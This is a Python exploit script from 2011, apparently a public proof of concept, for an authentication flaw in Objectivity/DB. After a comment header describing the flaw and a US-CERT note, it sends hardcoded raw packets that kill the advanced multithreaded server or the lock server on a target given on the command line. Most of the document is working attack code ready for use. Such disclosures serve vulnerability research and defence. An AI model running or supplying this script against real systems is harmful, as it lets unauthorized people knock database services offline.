#!/usr/bin/python # obj.py # Objectivity/DB Lack of Authentication Remote Exploit # Jeremy Brown [0xjbrown41-gmail-com] # Jan 2011 # # "Objectivity, Inc. is a leader in distributed, scalable database technology. # Our patented data management engine and persistent object store is the enabling # technology powering some of the most complex applications and mission critical # systems used in government, business and science organizations today." # # Objectivity/DB includes many different tools for administration. The # problem is, anyone can use these tools to perform operations on the host # running the lock server, advanced multithreaded server, and probably # it's other servers as well, without any authentication. This design flaw # puts the host running these servers at risk of potentially unauthorized # operations being performed on the system, locally or remotely. # # This code demostrates a couple of the easiest operations to replicate # by hand, like killing the lock and am servers. The suite contains lots # of other admin tools that do various, more interesting tasks with the # Objectivity/DB, such as oobackup, oonewfd, oodeletefd, oodebug, etc... # # Tested on Objectivity/DB 10 running on Windows # # Fixed version: N/A, US-CERT coordinated the communication and released # a vulnerability note after the vendor did not provide additional feedback. # # http://www.kb.cert.org/vuls/id/782567 # import sys import socket kill_ooams=( "\x0d\x03"+ "\x00"*5+ "\x02"+ "\x00"*3+ "\x19\xf0\x92\xed\x89\xf4\xe8\x95\x43\x03"+ "\x00"*15+ "\x61\x62\x63"+ "\x00"+ "\x31\x32\x33\x34"+ "\x00"*3+ "\x05\x8c"+ "\x00"*3+ "\x0d"+ "\x00"*4 ) kill_ools=( "\x0d\x03"+ "\x00"*5+ "\x77"+ "\x00"*3+ "\x04\xad\xc4\xae\xda\x9e\x48\xd6\x44\x03"+ "\x00"*15 ) if len(sys.argv)<3: print "Objectivity/DB Remote Exploit" print "Usage: %s "%sys.argv[0] print "\nWhat would you like to do?\n" print "[1] Kill the advanced multithreaded server" print "[2] Kill the lock server" print "For other operations, check out oobackup, oodebug, etc" sys.exit(0) target=sys.argv[1] op=int(sys.argv[2]) if((op<1)|(op>2)): print "Invalid operation" sys.exit(1) if(op==1): port=6779 data=kill_ooams if(op==2): port=6780 data=kill_ools cs=target,port sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(cs) sock.send(data) sock.close()